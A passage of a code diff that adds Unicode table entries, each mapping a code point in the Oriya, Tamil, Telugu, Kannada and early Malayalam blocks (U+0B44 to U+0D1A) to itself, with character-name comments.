+ ["\u0B44", "\u0B44"], /* ORIYA VOWEL SIGN VOCALIC RR */
+ ["\u0B45", "\u0B45"],
+ ["\u0B46", "\u0B46"],
+ ["\u0B47", "\u0B47"], /* ORIYA VOWEL SIGN E */
+ ["\u0B48", "\u0B48"], /* ORIYA VOWEL SIGN AI */
+ ["\u0B49", "\u0B49"],
+ ["\u0B4A", "\u0B4A"],
+ ["\u0B4B", "\u0B4B"], /* ORIYA VOWEL SIGN O */
+ ["\u0B4C", "\u0B4C"], /* ORIYA VOWEL SIGN AU */
+ ["\u0B4D", "\u0B4D"], /* ORIYA SIGN VIRAMA */
+ ["\u0B4E", "\u0B4E"],
+ ["\u0B4F", "\u0B4F"],
+ ["\u0B50", "\u0B50"],
+ ["\u0B51", "\u0B51"],
+ ["\u0B52", "\u0B52"],
+ ["\u0B53", "\u0B53"],
+ ["\u0B54", "\u0B54"],
+ ["\u0B55", "\u0B55"], /* ORIYA SIGN OVERLINE */
+ ["\u0B56", "\u0B56"], /* ORIYA AI LENGTH MARK */
+ ["\u0B57", "\u0B57"], /* ORIYA AU LENGTH MARK */
+ ["\u0B58", "\u0B58"],
+ ["\u0B59", "\u0B59"],
+ ["\u0B5A", "\u0B5A"],
+ ["\u0B5B", "\u0B5B"],
+ ["\u0B5C", "\u0B5C"], /* ORIYA LETTER RRA */
+ ["\u0B5D", "\u0B5D"], /* ORIYA LETTER RHA */
+ ["\u0B5E", "\u0B5E"],
+ ["\u0B5F", "\u0B5F"], /* ORIYA LETTER YYA */
+ ["\u0B60", "\u0B60"], /* ORIYA LETTER VOCALIC RR */
+ ["\u0B61", "\u0B61"], /* ORIYA LETTER VOCALIC LL */
+ ["\u0B62", "\u0B62"], /* ORIYA VOWEL SIGN VOCALIC L */
+ ["\u0B63", "\u0B63"], /* ORIYA VOWEL SIGN VOCALIC LL */
+ ["\u0B64", "\u0B64"],
+ ["\u0B65", "\u0B65"],
+ ["\u0B66", "\u0B66"], /* ORIYA DIGIT ZERO */
+ ["\u0B67", "\u0B67"], /* ORIYA DIGIT ONE */
+ ["\u0B68", "\u0B68"], /* ORIYA DIGIT TWO */
+ ["\u0B69", "\u0B69"], /* ORIYA DIGIT THREE */
+ ["\u0B6A", "\u0B6A"], /* ORIYA DIGIT FOUR */
+ ["\u0B6B", "\u0B6B"], /* ORIYA DIGIT FIVE */
+ ["\u0B6C", "\u0B6C"], /* ORIYA DIGIT SIX */
+ ["\u0B6D", "\u0B6D"], /* ORIYA DIGIT SEVEN */
+ ["\u0B6E", "\u0B6E"], /* ORIYA DIGIT EIGHT */
+ ["\u0B6F", "\u0B6F"], /* ORIYA DIGIT NINE */
+ ["\u0B70", "\u0B70"], /* ORIYA ISSHAR */
+ ["\u0B71", "\u0B71"], /* ORIYA LETTER WA */
+ ["\u0B72", "\u0B72"], /* ORIYA FRACTION ONE QUARTER */
+ ["\u0B73", "\u0B73"], /* ORIYA FRACTION ONE HALF */
+ ["\u0B74", "\u0B74"], /* ORIYA FRACTION THREE QUARTERS */
+ ["\u0B75", "\u0B75"], /* ORIYA FRACTION ONE SIXTEENTH */
+ ["\u0B76", "\u0B76"], /* ORIYA FRACTION ONE EIGHTH */
+ ["\u0B77", "\u0B77"], /* ORIYA FRACTION THREE SIXTEENTHS */
+ ["\u0B78", "\u0B78"],
+ ["\u0B79", "\u0B79"],
+ ["\u0B7A", "\u0B7A"],
+ ["\u0B7B", "\u0B7B"],
+ ["\u0B7C", "\u0B7C"],
+ ["\u0B7D", "\u0B7D"],
+ ["\u0B7E", "\u0B7E"],
+ ["\u0B7F", "\u0B7F"],
+ ["\u0B80", "\u0B80"],
+ ["\u0B81", "\u0B81"],
+ ["\u0B82", "\u0B82"], /* TAMIL SIGN ANUSVARA */
+ ["\u0B83", "\u0B83"], /* TAMIL SIGN VISARGA */
+ ["\u0B84", "\u0B84"],
+ ["\u0B85", "\u0B85"], /* TAMIL LETTER A */
+ ["\u0B86", "\u0B86"], /* TAMIL LETTER AA */
+ ["\u0B87", "\u0B87"], /* TAMIL LETTER I */
+ ["\u0B88", "\u0B88"], /* TAMIL LETTER II */
+ ["\u0B89", "\u0B89"], /* TAMIL LETTER U */
+ ["\u0B8A", "\u0B8A"], /* TAMIL LETTER UU */
+ ["\u0B8B", "\u0B8B"],
+ ["\u0B8C", "\u0B8C"],
+ ["\u0B8D", "\u0B8D"],
+ ["\u0B8E", "\u0B8E"], /* TAMIL LETTER E */
+ ["\u0B8F", "\u0B8F"], /* TAMIL LETTER EE */
+ ["\u0B90", "\u0B90"], /* TAMIL LETTER AI */
+ ["\u0B91", "\u0B91"],
+ ["\u0B92", "\u0B92"], /* TAMIL LETTER O */
+ ["\u0B93", "\u0B93"], /* TAMIL LETTER OO */
+ ["\u0B94", "\u0B94"], /* TAMIL LETTER AU */
+ ["\u0B95", "\u0B95"], /* TAMIL LETTER KA */
+ ["\u0B96", "\u0B96"],
+ ["\u0B97", "\u0B97"],
+ ["\u0B98", "\u0B98"],
+ ["\u0B99", "\u0B99"], /* TAMIL LETTER NGA */
+ ["\u0B9A", "\u0B9A"], /* TAMIL LETTER CA */
+ ["\u0B9B", "\u0B9B"],
+ ["\u0B9C", "\u0B9C"], /* TAMIL LETTER JA */
+ ["\u0B9D", "\u0B9D"],
+ ["\u0B9E", "\u0B9E"], /* TAMIL LETTER NYA */
+ ["\u0B9F", "\u0B9F"], /* TAMIL LETTER TTA */
+ ["\u0BA0", "\u0BA0"],
+ ["\u0BA1", "\u0BA1"],
+ ["\u0BA2", "\u0BA2"],
+ ["\u0BA3", "\u0BA3"], /* TAMIL LETTER NNA */
+ ["\u0BA4", "\u0BA4"], /* TAMIL LETTER TA */
+ ["\u0BA5", "\u0BA5"],
+ ["\u0BA6", "\u0BA6"],
+ ["\u0BA7", "\u0BA7"],
+ ["\u0BA8", "\u0BA8"], /* TAMIL LETTER NA */
+ ["\u0BA9", "\u0BA9"], /* TAMIL LETTER NNNA */
+ ["\u0BAA", "\u0BAA"], /* TAMIL LETTER PA */
+ ["\u0BAB", "\u0BAB"],
+ ["\u0BAC", "\u0BAC"],
+ ["\u0BAD", "\u0BAD"],
+ ["\u0BAE", "\u0BAE"], /* TAMIL LETTER MA */
+ ["\u0BAF", "\u0BAF"], /* TAMIL LETTER YA */
+ ["\u0BB0", "\u0BB0"], /* TAMIL LETTER RA */
+ ["\u0BB1", "\u0BB1"], /* TAMIL LETTER RRA */
+ ["\u0BB2", "\u0BB2"], /* TAMIL LETTER LA */
+ ["\u0BB3", "\u0BB3"], /* TAMIL LETTER LLA */
+ ["\u0BB4", "\u0BB4"], /* TAMIL LETTER LLLA */
+ ["\u0BB5", "\u0BB5"], /* TAMIL LETTER VA */
+ ["\u0BB6", "\u0BB6"], /* TAMIL LETTER SHA */
+ ["\u0BB7", "\u0BB7"], /* TAMIL LETTER SSA */
+ ["\u0BB8", "\u0BB8"], /* TAMIL LETTER SA */
+ ["\u0BB9", "\u0BB9"], /* TAMIL LETTER HA */
+ ["\u0BBA", "\u0BBA"],
+ ["\u0BBB", "\u0BBB"],
+ ["\u0BBC", "\u0BBC"],
+ ["\u0BBD", "\u0BBD"],
+ ["\u0BBE", "\u0BBE"], /* TAMIL VOWEL SIGN AA */
+ ["\u0BBF", "\u0BBF"], /* TAMIL VOWEL SIGN I */
+ ["\u0BC0", "\u0BC0"], /* TAMIL VOWEL SIGN II */
+ ["\u0BC1", "\u0BC1"], /* TAMIL VOWEL SIGN U */
+ ["\u0BC2", "\u0BC2"], /* TAMIL VOWEL SIGN UU */
+ ["\u0BC3", "\u0BC3"],
+ ["\u0BC4", "\u0BC4"],
+ ["\u0BC5", "\u0BC5"],
+ ["\u0BC6", "\u0BC6"], /* TAMIL VOWEL SIGN E */
+ ["\u0BC7", "\u0BC7"], /* TAMIL VOWEL SIGN EE */
+ ["\u0BC8", "\u0BC8"], /* TAMIL VOWEL SIGN AI */
+ ["\u0BC9", "\u0BC9"],
+ ["\u0BCA", "\u0BCA"], /* TAMIL VOWEL SIGN O */
+ ["\u0BCB", "\u0BCB"], /* TAMIL VOWEL SIGN OO */
+ ["\u0BCC", "\u0BCC"], /* TAMIL VOWEL SIGN AU */
+ ["\u0BCD", "\u0BCD"], /* TAMIL SIGN VIRAMA */
+ ["\u0BCE", "\u0BCE"],
+ ["\u0BCF", "\u0BCF"],
+ ["\u0BD0", "\u0BD0"], /* TAMIL OM */
+ ["\u0BD1", "\u0BD1"],
+ ["\u0BD2", "\u0BD2"],
+ ["\u0BD3", "\u0BD3"],
+ ["\u0BD4", "\u0BD4"],
+ ["\u0BD5", "\u0BD5"],
+ ["\u0BD6", "\u0BD6"],
+ ["\u0BD7", "\u0BD7"], /* TAMIL AU LENGTH MARK */
+ ["\u0BD8", "\u0BD8"],
+ ["\u0BD9", "\u0BD9"],
+ ["\u0BDA", "\u0BDA"],
+ ["\u0BDB", "\u0BDB"],
+ ["\u0BDC", "\u0BDC"],
+ ["\u0BDD", "\u0BDD"],
+ ["\u0BDE", "\u0BDE"],
+ ["\u0BDF", "\u0BDF"],
+ ["\u0BE0", "\u0BE0"],
+ ["\u0BE1", "\u0BE1"],
+ ["\u0BE2", "\u0BE2"],
+ ["\u0BE3", "\u0BE3"],
+ ["\u0BE4", "\u0BE4"],
+ ["\u0BE5", "\u0BE5"],
+ ["\u0BE6", "\u0BE6"], /* TAMIL DIGIT ZERO */
+ ["\u0BE7", "\u0BE7"], /* TAMIL DIGIT ONE */
+ ["\u0BE8", "\u0BE8"], /* TAMIL DIGIT TWO */
+ ["\u0BE9", "\u0BE9"], /* TAMIL DIGIT THREE */
+ ["\u0BEA", "\u0BEA"], /* TAMIL DIGIT FOUR */
+ ["\u0BEB", "\u0BEB"], /* TAMIL DIGIT FIVE */
+ ["\u0BEC", "\u0BEC"], /* TAMIL DIGIT SIX */
+ ["\u0BED", "\u0BED"], /* TAMIL DIGIT SEVEN */
+ ["\u0BEE", "\u0BEE"], /* TAMIL DIGIT EIGHT */
+ ["\u0BEF", "\u0BEF"], /* TAMIL DIGIT NINE */
+ ["\u0BF0", "\u0BF0"], /* TAMIL NUMBER TEN */
+ ["\u0BF1", "\u0BF1"], /* TAMIL NUMBER ONE HUNDRED */
+ ["\u0BF2", "\u0BF2"], /* TAMIL NUMBER ONE THOUSAND */
+ ["\u0BF3", "\u0BF3"], /* TAMIL DAY SIGN */
+ ["\u0BF4", "\u0BF4"], /* TAMIL MONTH SIGN */
+ ["\u0BF5", "\u0BF5"], /* TAMIL YEAR SIGN */
+ ["\u0BF6", "\u0BF6"], /* TAMIL DEBIT SIGN */
+ ["\u0BF7", "\u0BF7"], /* TAMIL CREDIT SIGN */
+ ["\u0BF8", "\u0BF8"], /* TAMIL AS ABOVE SIGN */
+ ["\u0BF9", "\u0BF9"], /* TAMIL RUPEE SIGN */
+ ["\u0BFA", "\u0BFA"], /* TAMIL NUMBER SIGN */
+ ["\u0BFB", "\u0BFB"],
+ ["\u0BFC", "\u0BFC"],
+ ["\u0BFD", "\u0BFD"],
+ ["\u0BFE", "\u0BFE"],
+ ["\u0BFF", "\u0BFF"],
+ ["\u0C00", "\u0C00"], /* TELUGU SIGN COMBINING CANDRABINDU ABOVE */
+ ["\u0C01", "\u0C01"], /* TELUGU SIGN CANDRABINDU */
+ ["\u0C02", "\u0C02"], /* TELUGU SIGN ANUSVARA */
+ ["\u0C03", "\u0C03"], /* TELUGU SIGN VISARGA */
+ ["\u0C04", "\u0C04"], /* TELUGU SIGN COMBINING ANUSVARA ABOVE */
+ ["\u0C05", "\u0C05"], /* TELUGU LETTER A */
+ ["\u0C06", "\u0C06"], /* TELUGU LETTER AA */
+ ["\u0C07", "\u0C07"], /* TELUGU LETTER I */
+ ["\u0C08", "\u0C08"], /* TELUGU LETTER II */
+ ["\u0C09", "\u0C09"], /* TELUGU LETTER U */
+ ["\u0C0A", "\u0C0A"], /* TELUGU LETTER UU */
+ ["\u0C0B", "\u0C0B"], /* TELUGU LETTER VOCALIC R */
+ ["\u0C0C", "\u0C0C"], /* TELUGU LETTER VOCALIC L */
+ ["\u0C0D", "\u0C0D"],
+ ["\u0C0E", "\u0C0E"], /* TELUGU LETTER E */
+ ["\u0C0F", "\u0C0F"], /* TELUGU LETTER EE */
+ ["\u0C10", "\u0C10"], /* TELUGU LETTER AI */
+ ["\u0C11", "\u0C11"],
+ ["\u0C12", "\u0C12"], /* TELUGU LETTER O */
+ ["\u0C13", "\u0C13"], /* TELUGU LETTER OO */
+ ["\u0C14", "\u0C14"], /* TELUGU LETTER AU */
+ ["\u0C15", "\u0C15"], /* TELUGU LETTER KA */
+ ["\u0C16", "\u0C16"], /* TELUGU LETTER KHA */
+ ["\u0C17", "\u0C17"], /* TELUGU LETTER GA */
+ ["\u0C18", "\u0C18"], /* TELUGU LETTER GHA */
+ ["\u0C19", "\u0C19"], /* TELUGU LETTER NGA */
+ ["\u0C1A", "\u0C1A"], /* TELUGU LETTER CA */
+ ["\u0C1B", "\u0C1B"], /* TELUGU LETTER CHA */
+ ["\u0C1C", "\u0C1C"], /* TELUGU LETTER JA */
+ ["\u0C1D", "\u0C1D"], /* TELUGU LETTER JHA */
+ ["\u0C1E", "\u0C1E"], /* TELUGU LETTER NYA */
+ ["\u0C1F", "\u0C1F"], /* TELUGU LETTER TTA */
+ ["\u0C20", "\u0C20"], /* TELUGU LETTER TTHA */
+ ["\u0C21", "\u0C21"], /* TELUGU LETTER DDA */
+ ["\u0C22", "\u0C22"], /* TELUGU LETTER DDHA */
+ ["\u0C23", "\u0C23"], /* TELUGU LETTER NNA */
+ ["\u0C24", "\u0C24"], /* TELUGU LETTER TA */
+ ["\u0C25", "\u0C25"], /* TELUGU LETTER THA */
+ ["\u0C26", "\u0C26"], /* TELUGU LETTER DA */
+ ["\u0C27", "\u0C27"], /* TELUGU LETTER DHA */
+ ["\u0C28", "\u0C28"], /* TELUGU LETTER NA */
+ ["\u0C29", "\u0C29"],
+ ["\u0C2A", "\u0C2A"], /* TELUGU LETTER PA */
+ ["\u0C2B", "\u0C2B"], /* TELUGU LETTER PHA */
+ ["\u0C2C", "\u0C2C"], /* TELUGU LETTER BA */
+ ["\u0C2D", "\u0C2D"], /* TELUGU LETTER BHA */
+ ["\u0C2E", "\u0C2E"], /* TELUGU LETTER MA */
+ ["\u0C2F", "\u0C2F"], /* TELUGU LETTER YA */
+ ["\u0C30", "\u0C30"], /* TELUGU LETTER RA */
+ ["\u0C31", "\u0C31"], /* TELUGU LETTER RRA */
+ ["\u0C32", "\u0C32"], /* TELUGU LETTER LA */
+ ["\u0C33", "\u0C33"], /* TELUGU LETTER LLA */
+ ["\u0C34", "\u0C34"], /* TELUGU LETTER LLLA */
+ ["\u0C35", "\u0C35"], /* TELUGU LETTER VA */
+ ["\u0C36", "\u0C36"], /* TELUGU LETTER SHA */
+ ["\u0C37", "\u0C37"], /* TELUGU LETTER SSA */
+ ["\u0C38", "\u0C38"], /* TELUGU LETTER SA */
+ ["\u0C39", "\u0C39"], /* TELUGU LETTER HA */
+ ["\u0C3A", "\u0C3A"],
+ ["\u0C3B", "\u0C3B"],
+ ["\u0C3C", "\u0C3C"],
+ ["\u0C3D", "\u0C3D"], /* TELUGU SIGN AVAGRAHA */
+ ["\u0C3E", "\u0C3E"], /* TELUGU VOWEL SIGN AA */
+ ["\u0C3F", "\u0C3F"], /* TELUGU VOWEL SIGN I */
+ ["\u0C40", "\u0C40"], /* TELUGU VOWEL SIGN II */
+ ["\u0C41", "\u0C41"], /* TELUGU VOWEL SIGN U */
+ ["\u0C42", "\u0C42"], /* TELUGU VOWEL SIGN UU */
+ ["\u0C43", "\u0C43"], /* TELUGU VOWEL SIGN VOCALIC R */
+ ["\u0C44", "\u0C44"], /* TELUGU VOWEL SIGN VOCALIC RR */
+ ["\u0C45", "\u0C45"],
+ ["\u0C46", "\u0C46"], /* TELUGU VOWEL SIGN E */
+ ["\u0C47", "\u0C47"], /* TELUGU VOWEL SIGN EE */
+ ["\u0C48", "\u0C48"], /* TELUGU VOWEL SIGN AI */
+ ["\u0C49", "\u0C49"],
+ ["\u0C4A", "\u0C4A"], /* TELUGU VOWEL SIGN O */
+ ["\u0C4B", "\u0C4B"], /* TELUGU VOWEL SIGN OO */
+ ["\u0C4C", "\u0C4C"], /* TELUGU VOWEL SIGN AU */
+ ["\u0C4D", "\u0C4D"], /* TELUGU SIGN VIRAMA */
+ ["\u0C4E", "\u0C4E"],
+ ["\u0C4F", "\u0C4F"],
+ ["\u0C50", "\u0C50"],
+ ["\u0C51", "\u0C51"],
+ ["\u0C52", "\u0C52"],
+ ["\u0C53", "\u0C53"],
+ ["\u0C54", "\u0C54"],
+ ["\u0C55", "\u0C55"], /* TELUGU LENGTH MARK */
+ ["\u0C56", "\u0C56"], /* TELUGU AI LENGTH MARK */
+ ["\u0C57", "\u0C57"],
+ ["\u0C58", "\u0C58"], /* TELUGU LETTER TSA */
+ ["\u0C59", "\u0C59"], /* TELUGU LETTER DZA */
+ ["\u0C5A", "\u0C5A"], /* TELUGU LETTER RRRA */
+ ["\u0C5B", "\u0C5B"],
+ ["\u0C5C", "\u0C5C"],
+ ["\u0C5D", "\u0C5D"],
+ ["\u0C5E", "\u0C5E"],
+ ["\u0C5F", "\u0C5F"],
+ ["\u0C60", "\u0C60"], /* TELUGU LETTER VOCALIC RR */
+ ["\u0C61", "\u0C61"], /* TELUGU LETTER VOCALIC LL */
+ ["\u0C62", "\u0C62"], /* TELUGU VOWEL SIGN VOCALIC L */
+ ["\u0C63", "\u0C63"], /* TELUGU VOWEL SIGN VOCALIC LL */
+ ["\u0C64", "\u0C64"],
+ ["\u0C65", "\u0C65"],
+ ["\u0C66", "\u0C66"], /* TELUGU DIGIT ZERO */
+ ["\u0C67", "\u0C67"], /* TELUGU DIGIT ONE */
+ ["\u0C68", "\u0C68"], /* TELUGU DIGIT TWO */
+ ["\u0C69", "\u0C69"], /* TELUGU DIGIT THREE */
+ ["\u0C6A", "\u0C6A"], /* TELUGU DIGIT FOUR */
+ ["\u0C6B", "\u0C6B"], /* TELUGU DIGIT FIVE */
+ ["\u0C6C", "\u0C6C"], /* TELUGU DIGIT SIX */
+ ["\u0C6D", "\u0C6D"], /* TELUGU DIGIT SEVEN */
+ ["\u0C6E", "\u0C6E"], /* TELUGU DIGIT EIGHT */
+ ["\u0C6F", "\u0C6F"], /* TELUGU DIGIT NINE */
+ ["\u0C70", "\u0C70"],
+ ["\u0C71", "\u0C71"],
+ ["\u0C72", "\u0C72"],
+ ["\u0C73", "\u0C73"],
+ ["\u0C74", "\u0C74"],
+ ["\u0C75", "\u0C75"],
+ ["\u0C76", "\u0C76"],
+ ["\u0C77", "\u0C77"], /* TELUGU SIGN SIDDHAM */
+ ["\u0C78", "\u0C78"], /* TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR */
+ ["\u0C79", "\u0C79"], /* TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR */
+ ["\u0C7A", "\u0C7A"], /* TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR */
+ ["\u0C7B", "\u0C7B"], /* TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR */
+ ["\u0C7C", "\u0C7C"], /* TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR */
+ ["\u0C7D", "\u0C7D"], /* TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR */
+ ["\u0C7E", "\u0C7E"], /* TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR */
+ ["\u0C7F", "\u0C7F"], /* TELUGU SIGN TUUMU */
+ ["\u0C80", "\u0C80"], /* KANNADA SIGN SPACING CANDRABINDU */
+ ["\u0C81", "\u0C81"], /* KANNADA SIGN CANDRABINDU */
+ ["\u0C82", "\u0C82"], /* KANNADA SIGN ANUSVARA */
+ ["\u0C83", "\u0C83"], /* KANNADA SIGN VISARGA */
+ ["\u0C84", "\u0C84"], /* KANNADA SIGN SIDDHAM */
+ ["\u0C85", "\u0C85"], /* KANNADA LETTER A */
+ ["\u0C86", "\u0C86"], /* KANNADA LETTER AA */
+ ["\u0C87", "\u0C87"], /* KANNADA LETTER I */
+ ["\u0C88", "\u0C88"], /* KANNADA LETTER II */
+ ["\u0C89", "\u0C89"], /* KANNADA LETTER U */
+ ["\u0C8A", "\u0C8A"], /* KANNADA LETTER UU */
+ ["\u0C8B", "\u0C8B"], /* KANNADA LETTER VOCALIC R */
+ ["\u0C8C", "\u0C8C"], /* KANNADA LETTER VOCALIC L */
+ ["\u0C8D", "\u0C8D"],
+ ["\u0C8E", "\u0C8E"], /* KANNADA LETTER E */
+ ["\u0C8F", "\u0C8F"], /* KANNADA LETTER EE */
+ ["\u0C90", "\u0C90"], /* KANNADA LETTER AI */
+ ["\u0C91", "\u0C91"],
+ ["\u0C92", "\u0C92"], /* KANNADA LETTER O */
+ ["\u0C93", "\u0C93"], /* KANNADA LETTER OO */
+ ["\u0C94", "\u0C94"], /* KANNADA LETTER AU */
+ ["\u0C95", "\u0C95"], /* KANNADA LETTER KA */
+ ["\u0C96", "\u0C96"], /* KANNADA LETTER KHA */
+ ["\u0C97", "\u0C97"], /* KANNADA LETTER GA */
+ ["\u0C98", "\u0C98"], /* KANNADA LETTER GHA */
+ ["\u0C99", "\u0C99"], /* KANNADA LETTER NGA */
+ ["\u0C9A", "\u0C9A"], /* KANNADA LETTER CA */
+ ["\u0C9B", "\u0C9B"], /* KANNADA LETTER CHA */
+ ["\u0C9C", "\u0C9C"], /* KANNADA LETTER JA */
+ ["\u0C9D", "\u0C9D"], /* KANNADA LETTER JHA */
+ ["\u0C9E", "\u0C9E"], /* KANNADA LETTER NYA */
+ ["\u0C9F", "\u0C9F"], /* KANNADA LETTER TTA */
+ ["\u0CA0", "\u0CA0"], /* KANNADA LETTER TTHA */
+ ["\u0CA1", "\u0CA1"], /* KANNADA LETTER DDA */
+ ["\u0CA2", "\u0CA2"], /* KANNADA LETTER DDHA */
+ ["\u0CA3", "\u0CA3"], /* KANNADA LETTER NNA */
+ ["\u0CA4", "\u0CA4"], /* KANNADA LETTER TA */
+ ["\u0CA5", "\u0CA5"], /* KANNADA LETTER THA */
+ ["\u0CA6", "\u0CA6"], /* KANNADA LETTER DA */
+ ["\u0CA7", "\u0CA7"], /* KANNADA LETTER DHA */
+ ["\u0CA8", "\u0CA8"], /* KANNADA LETTER NA */
+ ["\u0CA9", "\u0CA9"],
+ ["\u0CAA", "\u0CAA"], /* KANNADA LETTER PA */
+ ["\u0CAB", "\u0CAB"], /* KANNADA LETTER PHA */
+ ["\u0CAC", "\u0CAC"], /* KANNADA LETTER BA */
+ ["\u0CAD", "\u0CAD"], /* KANNADA LETTER BHA */
+ ["\u0CAE", "\u0CAE"], /* KANNADA LETTER MA */
+ ["\u0CAF", "\u0CAF"], /* KANNADA LETTER YA */
+ ["\u0CB0", "\u0CB0"], /* KANNADA LETTER RA */
+ ["\u0CB1", "\u0CB1"], /* KANNADA LETTER RRA */
+ ["\u0CB2", "\u0CB2"], /* KANNADA LETTER LA */
+ ["\u0CB3", "\u0CB3"], /* KANNADA LETTER LLA */
+ ["\u0CB4", "\u0CB4"],
+ ["\u0CB5", "\u0CB5"], /* KANNADA LETTER VA */
+ ["\u0CB6", "\u0CB6"], /* KANNADA LETTER SHA */
+ ["\u0CB7", "\u0CB7"], /* KANNADA LETTER SSA */
+ ["\u0CB8", "\u0CB8"], /* KANNADA LETTER SA */
+ ["\u0CB9", "\u0CB9"], /* KANNADA LETTER HA */
+ ["\u0CBA", "\u0CBA"],
+ ["\u0CBB", "\u0CBB"],
+ ["\u0CBC", "\u0CBC"], /* KANNADA SIGN NUKTA */
+ ["\u0CBD", "\u0CBD"], /* KANNADA SIGN AVAGRAHA */
+ ["\u0CBE", "\u0CBE"], /* KANNADA VOWEL SIGN AA */
+ ["\u0CBF", "\u0CBF"], /* KANNADA VOWEL SIGN I */
+ ["\u0CC0", "\u0CC0"], /* KANNADA VOWEL SIGN II */
+ ["\u0CC1", "\u0CC1"], /* KANNADA VOWEL SIGN U */
+ ["\u0CC2", "\u0CC2"], /* KANNADA VOWEL SIGN UU */
+ ["\u0CC3", "\u0CC3"], /* KANNADA VOWEL SIGN VOCALIC R */
+ ["\u0CC4", "\u0CC4"], /* KANNADA VOWEL SIGN VOCALIC RR */
+ ["\u0CC5", "\u0CC5"],
+ ["\u0CC6", "\u0CC6"], /* KANNADA VOWEL SIGN E */
+ ["\u0CC7", "\u0CC7"], /* KANNADA VOWEL SIGN EE */
+ ["\u0CC8", "\u0CC8"], /* KANNADA VOWEL SIGN AI */
+ ["\u0CC9", "\u0CC9"],
+ ["\u0CCA", "\u0CCA"], /* KANNADA VOWEL SIGN O */
+ ["\u0CCB", "\u0CCB"], /* KANNADA VOWEL SIGN OO */
+ ["\u0CCC", "\u0CCC"], /* KANNADA VOWEL SIGN AU */
+ ["\u0CCD", "\u0CCD"], /* KANNADA SIGN VIRAMA */
+ ["\u0CCE", "\u0CCE"],
+ ["\u0CCF", "\u0CCF"],
+ ["\u0CD0", "\u0CD0"],
+ ["\u0CD1", "\u0CD1"],
+ ["\u0CD2", "\u0CD2"],
+ ["\u0CD3", "\u0CD3"],
+ ["\u0CD4", "\u0CD4"],
+ ["\u0CD5", "\u0CD5"], /* KANNADA LENGTH MARK */
+ ["\u0CD6", "\u0CD6"], /* KANNADA AI LENGTH MARK */
+ ["\u0CD7", "\u0CD7"],
+ ["\u0CD8", "\u0CD8"],
+ ["\u0CD9", "\u0CD9"],
+ ["\u0CDA", "\u0CDA"],
+ ["\u0CDB", "\u0CDB"],
+ ["\u0CDC", "\u0CDC"],
+ ["\u0CDD", "\u0CDD"],
+ ["\u0CDE", "\u0CDE"], /* KANNADA LETTER FA */
+ ["\u0CDF", "\u0CDF"],
+ ["\u0CE0", "\u0CE0"], /* KANNADA LETTER VOCALIC RR */
+ ["\u0CE1", "\u0CE1"], /* KANNADA LETTER VOCALIC LL */
+ ["\u0CE2", "\u0CE2"], /* KANNADA VOWEL SIGN VOCALIC L */
+ ["\u0CE3", "\u0CE3"], /* KANNADA VOWEL SIGN VOCALIC LL */
+ ["\u0CE4", "\u0CE4"],
+ ["\u0CE5", "\u0CE5"],
+ ["\u0CE6", "\u0CE6"], /* KANNADA DIGIT ZERO */
+ ["\u0CE7", "\u0CE7"], /* KANNADA DIGIT ONE */
+ ["\u0CE8", "\u0CE8"], /* KANNADA DIGIT TWO */
+ ["\u0CE9", "\u0CE9"], /* KANNADA DIGIT THREE */
+ ["\u0CEA", "\u0CEA"], /* KANNADA DIGIT FOUR */
+ ["\u0CEB", "\u0CEB"], /* KANNADA DIGIT FIVE */
+ ["\u0CEC", "\u0CEC"], /* KANNADA DIGIT SIX */
+ ["\u0CED", "\u0CED"], /* KANNADA DIGIT SEVEN */
+ ["\u0CEE", "\u0CEE"], /* KANNADA DIGIT EIGHT */
+ ["\u0CEF", "\u0CEF"], /* KANNADA DIGIT NINE */
+ ["\u0CF0", "\u0CF0"],
+ ["\u0CF1", "\u0CF1"], /* KANNADA SIGN JIHVAMULIYA */
+ ["\u0CF2", "\u0CF2"], /* KANNADA SIGN UPADHMANIYA */
+ ["\u0CF3", "\u0CF3"],
+ ["\u0CF4", "\u0CF4"],
+ ["\u0CF5", "\u0CF5"],
+ ["\u0CF6", "\u0CF6"],
+ ["\u0CF7", "\u0CF7"],
+ ["\u0CF8", "\u0CF8"],
+ ["\u0CF9", "\u0CF9"],
+ ["\u0CFA", "\u0CFA"],
+ ["\u0CFB", "\u0CFB"],
+ ["\u0CFC", "\u0CFC"],
+ ["\u0CFD", "\u0CFD"],
+ ["\u0CFE", "\u0CFE"],
+ ["\u0CFF", "\u0CFF"],
+ ["\u0D00", "\u0D00"], /* MALAYALAM SIGN COMBINING ANUSVARA ABOVE */
+ ["\u0D01", "\u0D01"], /* MALAYALAM SIGN CANDRABINDU */
+ ["\u0D02", "\u0D02"], /* MALAYALAM SIGN ANUSVARA */
+ ["\u0D03", "\u0D03"], /* MALAYALAM SIGN VISARGA */
+ ["\u0D04", "\u0D04"], /* MALAYALAM LETTER VEDIC ANUSVARA */
+ ["\u0D05", "\u0D05"], /* MALAYALAM LETTER A */
+ ["\u0D06", "\u0D06"], /* MALAYALAM LETTER AA */
+ ["\u0D07", "\u0D07"], /* MALAYALAM LETTER I */
+ ["\u0D08", "\u0D08"], /* MALAYALAM LETTER II */
+ ["\u0D09", "\u0D09"], /* MALAYALAM LETTER U */
+ ["\u0D0A", "\u0D0A"], /* MALAYALAM LETTER UU */
+ ["\u0D0B", "\u0D0B"], /* MALAYALAM LETTER VOCALIC R */
+ ["\u0D0C", "\u0D0C"], /* MALAYALAM LETTER VOCALIC L */
+ ["\u0D0D", "\u0D0D"],
+ ["\u0D0E", "\u0D0E"], /* MALAYALAM LETTER E */
+ ["\u0D0F", "\u0D0F"], /* MALAYALAM LETTER EE */
+ ["\u0D10", "\u0D10"], /* MALAYALAM LETTER AI */
+ ["\u0D11", "\u0D11"],
+ ["\u0D12", "\u0D12"], /* MALAYALAM LETTER O */
+ ["\u0D13", "\u0D13"], /* MALAYALAM LETTER OO */
+ ["\u0D14", "\u0D14"], /* MALAYALAM LETTER AU */
+ ["\u0D15", "\u0D15"], /* MALAYALAM LETTER KA */
+ ["\u0D16", "\u0D16"], /* MALAYALAM LETTER KHA */
+ ["\u0D17", "\u0D17"], /* MALAYALAM LETTER GA */
+ ["\u0D18", "\u0D18"], /* MALAYALAM LETTER GHA */
+ ["\u0D19", "\u0D19"], /* MALAYALAM LETTER NGA */
+ ["\u0D1A", "\u0D1A"], /* MALAYALAM LETTER CA */
